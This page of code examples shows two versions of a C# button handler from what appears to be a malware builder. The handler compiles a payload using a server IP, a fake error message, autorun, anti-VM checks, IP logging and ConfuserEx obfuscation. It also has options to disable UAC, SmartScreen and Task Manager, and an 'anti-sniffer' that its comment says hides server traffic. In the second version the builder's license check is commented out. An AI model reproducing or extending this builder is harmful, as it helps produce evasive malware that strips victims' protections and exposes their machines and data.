コード例 #1
0
        /// <summary>
        /// Запуск процесс компиляции исходного файла с проверками по ключу.
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void Generation_ClickAsync(object sender, EventArgs e)
        {
            NativeMethods.SetFocus(IntPtr.Zero);

            #region BuildSettings

            var build = new Build
                        (
                this.IcoPath.Text,
                this.NameOutput.Text,
                this.AssTitleTextBox.Text,
                this.AssDescriptTextBox.Text,
                this.AssCompanyTextBox.Text,
                this.AssProductTextBox.Text,
                this.AssCopyrightTextBox.Text,
                this.AssVerTextBox.Text,
                this.AssFileVerTextBox.Text,
                this.AssGuidTextBox.Text,
                this.IPBox.Text,
                this.ErrorBox.Text,
                this.ShowMessage,
                this.DelayCheckBox,
                this.GarbageCheckBox,
                this.AutoRunCheckBox,
                this.SmartOffCheckBox,
                this.TaskMgrOffCheckBox,
                this.UacOffCheckBox,
                this.AntiVMCheckBox,
                this.IPLOGCheckBox,
                this.FakeCheckBox,
                this.SpisokOut
                        );

            #endregion

            if (string.IsNullOrWhiteSpace(this.NameOutput.Text) || string.IsNullOrWhiteSpace(this.AssTitleTextBox.Text) || string.IsNullOrWhiteSpace(this.AssDescriptTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCompanyTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCopyrightTextBox.Text) || string.IsNullOrWhiteSpace(this.AssFileVerTextBox.Text))
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FillFields);
                }
                else
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FillFields);
                }
            }
            else
            {
                if (string.IsNullOrWhiteSpace(this.SpisokOut.Text))
                {
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.Extension);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.Extension);
                    }
                }
                else
                {
                    new Thread(() => { AntiSniffer.Inizialize(); }).Start();

                    if (CheckerKeys.CompareKey())
                    {
                        CheckerKeys.GetLicenseInfo();
                        if (FileControl.ExistsFileAndDirectory(GlobalPath.ModConfuser, GlobalPath.CLI))
                        {
                            if (SourceEdition.values.Count != 0)
                            {
                                await Task.Run(() => SourceEdition.Inizialize(SourceEdition.values, build));

                                // Обфускация
                                switch (build.ComboOutputExtension.SelectedIndex)
                                {
                                case 1: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.dll")); break;

                                default: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.exe")); break;
                                }
                                if (FileControl.ExistsDirectory(GlobalPath.Confused))
                                {
                                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                                    {
                                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.Obfuscated);
                                    }
                                    else
                                    {
                                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.Obfuscated);
                                    }
                                }
                            }
                            else
                            {
                                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                                {
                                    ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BasePurse);
                                }
                                else
                                {
                                    ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BasePurse);
                                }
                            }
                        }
                        else
                        {
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ModCLI);
                            }
                            else
                            {
                                ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ModCLI);
                            }
                        }
                    }
                    else
                    {
                        MusicPlay.Inizialize(Resources.Error_Build);
                        if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                        {
                            ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLicense);
                            FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n");
                        }
                        else
                        {
                            ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLicense);
                            FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n");
                        }
                        Thread.Sleep(2000);
                        Application.Exit();
                    }
                }
            }
        }
コード例 #2
0
        /// <summary>
        /// Запуск процесс компиляции исходного файла с проверками по ключу.
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void Generation_ClickAsync(object sender, EventArgs e)
        {
            NativeMethods.SetFocus(IntPtr.Zero);

            #region BuildSettings

            var build = new Build
                        (
                this.IcoPath.Text,
                this.NameOutput.Text,
                this.AssTitleTextBox.Text,
                this.AssDescriptTextBox.Text,
                this.AssCompanyTextBox.Text,
                this.AssProductTextBox.Text,
                this.AssCopyrightTextBox.Text,
                this.AssVerTextBox.Text,
                this.AssFileVerTextBox.Text,
                this.AssGuidTextBox.Text,
                this.IPBox.Text,
                this.ErrorBox.Text,
                this.ShowMessage,
                this.DelayCheckBox,
                this.GarbageCheckBox,
                this.AutoRunCheckBox,
                this.SmartOffCheckBox,
                this.TaskMgrOffCheckBox,
                this.UacOffCheckBox,
                this.AntiVMCheckBox,
                this.IPLOGCheckBox,
                this.FakeCheckBox
                        );

            #endregion

            if (string.IsNullOrWhiteSpace(this.NameOutput.Text) || string.IsNullOrWhiteSpace(this.AssTitleTextBox.Text) || string.IsNullOrWhiteSpace(this.AssDescriptTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCompanyTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCopyrightTextBox.Text) || string.IsNullOrWhiteSpace(this.AssFileVerTextBox.Text))
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FillFields);
                }
                else
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FillFields);
                }
            }
            else
            {
                Task.Run(() => AntiSniffer.Inizialize()).Start(); // Антисниффер ( чтобы не отслеживали запрос до сервера )

                //if (CheckerKeys.CompareKey()) // Проверка ключа тут.
                //{
                //  CheckerKeys.GetLicenseInfo();

                if (SourceEdition.values.Count != 0)
                {
                    bool result = await Task.Run(() => SourceEdition.Inizialize(SourceEdition.values, build));

                    // Если хотите можете добавить обфускацию для билд файла т.к идёт ожидание
                }
                else
                {
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BasePurse);
                    }
                    else
                    {
                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BasePurse);
                    }
                }
                //}
                //else
                //{
                //    MusicPlay.Inizialize(Resources.Error_Build);
                //    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                //    {
                //        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLicense);
                //        FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n");
                //    }
                //    else
                //    {
                //        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLicense);
                //        FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n");
                //    }
                //    Thread.Sleep(2000);
                //    Application.Exit();
                //}
            }
        }